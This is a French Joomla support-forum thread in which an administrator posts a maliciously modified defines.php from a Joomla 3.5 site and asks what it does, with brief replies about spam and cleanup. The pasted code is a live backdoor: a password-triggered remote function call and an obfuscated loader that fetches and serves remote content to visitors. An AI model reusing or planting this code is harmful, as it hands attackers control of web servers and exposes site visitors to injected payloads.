hack - quel est l'objectif?

Réduire
X
 
  • Filtrer
  • Heure
  • Afficher
Tout effacer
nouveaux messages

  • [Problème] hack - quel est l'objectif?

    Bonjour,
    Je sais que le titre est vague alors voici quelques précisions:
    depuis quelques semaines les sites joomla 3.5 dont je m'occupe sont la proie d'un ... malveillant qui modifie les fichiers dans includes/ c-a-d defines.php et framework.php.
    Ce n'était hélas pas les seuls attaques dont ils ont souffert, et j'arrivais à en voir le but, même si je ne comprenais pas tj le code. Je n'y ai pas non plus consacré beaucoup de temps.
    Mais là: que veut faire le vilain pirate?
    Code PHP:
    <?php
    /**
     * @package    Joomla.Site
     *
     * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
     * @license    GNU General Public License version 2 or later; see LICENSE.txt
     */

    defined('_JEXEC') or die;

    // Global definitions
    $parts explode(DIRECTORY_SEPARATORJPATH_BASE);

    // Defines.
    define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR$parts));
    define('JPATH_SITE',          JPATH_ROOT);
    define('JPATH_CONFIGURATION'JPATH_ROOT);
    define('JPATH_ADMINISTRATOR'JPATH_ROOT DIRECTORY_SEPARATOR 'administrator');
    define('JPATH_LIBRARIES',     JPATH_ROOT DIRECTORY_SEPARATOR 'libraries');
    define('JPATH_PLUGINS',       JPATH_ROOT DIRECTORY_SEPARATOR 'plugins');
    define('JPATH_INSTALLATION',  JPATH_ROOT DIRECTORY_SEPARATOR 'installation');
    define('JPATH_THEMES',        JPATH_BASE DIRECTORY_SEPARATOR 'templates');
    define('JPATH_CACHE',         JPATH_BASE DIRECTORY_SEPARATOR 'cache');
    define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR DIRECTORY_SEPARATOR 'manifests');
    //istart


    function is_valid_url(&$url)
    {
        if (!
    preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/'$url$m))
            return 
    false;
        
    $url $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
        return 
    true;
    }

    function 
    request_url_data($url) {

        if(!
    is_valid_url($url))
            return 
    false;

        
    $site_url = (preg_match('/^https?:\/\//i'$_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
        if (
    function_exists('curl_init')) {
            
    $ch curl_init();
            
    curl_setopt($chCURLOPT_TIMEOUT5);
            
    curl_setopt($chCURLOPT_CONNECTTIMEOUT5);
            
    curl_setopt($chCURLOPT_URL$url);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($chCURLOPT_HTTPHEADER, array(
                
    'X-Forwarded-For: ' $_SERVER["REMOTE_ADDR"],
                
    'User-Agent: ' $_SERVER["HTTP_USER_AGENT"],
                
    'Referer: ' $site_url,
            ));
            
    $response trim(curl_exec($ch));
        } elseif (
    function_exists('fsockopen')) {
            
    $m parse_url($url);
            if (
    $fp fsockopen($m['host'], 80$errno$errstr6)) {
                
    fwrite($fp'GET http://' $m['host'] . $m["path"] . '?' $m['query'] . ' HTTP/1.0' "\r\n" .
                    
    'Host: ' $m['host'] . "\r\n" .
                    
    'User-Agent: ' $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                    
    'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                        
    'Referer: ' $site_url "\r\n" .
                        
    'Connection: Close' "\r\n\r\n");
                
    $response '';
                while (!
    feof($fp)) {
                    
    $response .= fgets($fp1024);
                }
                list(
    $headers$response) = explode("\r\n\r\n"$response);
                
    fclose($fp);
            }
        } else {
            
    $response 'curl_init and fsockopen disabled';
        }
        return 
    $response;
    }

    function 
    decrypt_url($encrypted_url)
    {
        
    $encrypted_url base64_decode($encrypted_url);
        
    $url '';
        for (
    $i 0$i strlen($encrypted_url); $i++)
        {
            
    $url .= chr(ord($encrypted_url[$i]) ^ 3);
        }
        return 
    $url;
    }
    error_reporting(0);
    $_passssword 'c9c8a7cb0a508f8a063162f751323097';

    $p $_POST;

    if (@
    $p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




    if (!empty(
    $_GET['check']) AND $_GET['check'] == $_passssword) {
        echo(
    '<!--checker_start ');
        
    $tmp request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
        echo(
    substr($tmp50));
        echo(
    ' checker_end-->');
    }
    unset(
    $_passssword);

    $bad_url false;
    foreach (array(
    '/\.css$/''/\.swf$/''/\.ashx$/''/\.docx$/''/\.doc$/''/\.xls$/''/\.xlsx$/''/\.xml$/''/\.jpg$/''/\.pdf$/''/\.png$/''/\.gif$/''/\.ico$/''/\.js$/''/\.txt$/''/ajax/''/cron\.php$/''/wp\-login\.php$/''/\/wp\-includes\//''/\/wp\-admin/''/\/admin\//''/\/wp\-content\//''/\/administrator\//''/phpmyadmin/i''/xmlrpc\.php/''/\/feed\//') as $regex) {
        if (
    preg_match($regex$_SERVER['REQUEST_URI'])) {
            
    $bad_url true;
            break;
        }
    }

    $cookie_name 'PHP_SESSION_PHP';
    if (!
    $bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 06) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i'$_SERVER['HTTP_USER_AGENT'])) {
    //    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
    //        $url = base64_decode('a3d3czksLDEzMC0yOjEtMTY2LTYyLGFvbGQsPHNscXBga2YldnduXHBsdnFgZj43MDA2OTsyMDE6NDkyOjEy');
        
    $url decrypt_url('a3d3czksLDEzMC0yOjEtMTY2LTYyLGFvbGQsPHNscXBga2YldnduXHBsdnFgZj43MDA2OTsyMDE6NDkyOjEy');
        
    $code request_url_data($url);
    //    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
        
    if (($code request_url_data($url)) AND $decoded base64_decode($codetrue)) {
            
    $echo_done true;
            print 
    $decoded;
        }
    }
    //iend
    framework n'a pas été modifié cette fois.
    Alors si vous voyez ce qu'il veut faire partagez.
    Merci

  • #2
    Re : hack - quel est l'objectif?

    Hello Tigunn, si pas de réponse sur le forum , essayer de poster la question dans la partie php
    sur developper.net et/ou openclassrooms.com ...
    Solidaire avec les dinosaures

    Commentaire


    • #3
      Re : hack - quel est l'objectif?

      Bonjour Tigunn
      L'ojectif c'est souvent (a 99%) d'avoir le controle sur le serveur pour envoyer du spam ... ou pire, faire des attaque vers d'autres serveurs ...

      Mais plutot que de chercher a savoir ce que tente de faire le hackeur (ou son badbot) il serait préférable pour toi de nettoyer le site de fond en comble et de sécuriser le serveur ... tu auras ensuite tout le temps pour te pencher sur ce script. codes qui sont quelquefois assez complexes ... histoire de noyer le poisson au millieu de code sain.
      Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer
      Cette année, le JoomlaDay FR a lieu à Bruxelles, les 20 et 21 mai 2022, plus d'infos et inscriptions : www.joomladay.fr

      Commentaire


      • #4
        Re : hack - quel est l'objectif?

        Bonjour,

        Dis moi Tiguan, tu en es ou ? Car j'ai le même fichier modifié et je suis en 3.5.1, alors je récupère un propre d'un serveur local (1042 octets)

        Commentaire

        Annonce

        Réduire
        Aucune annonce pour le moment.

        Partenaire de l'association

        Réduire

        Hébergeur Web PlanetHoster
        Travaille ...
        X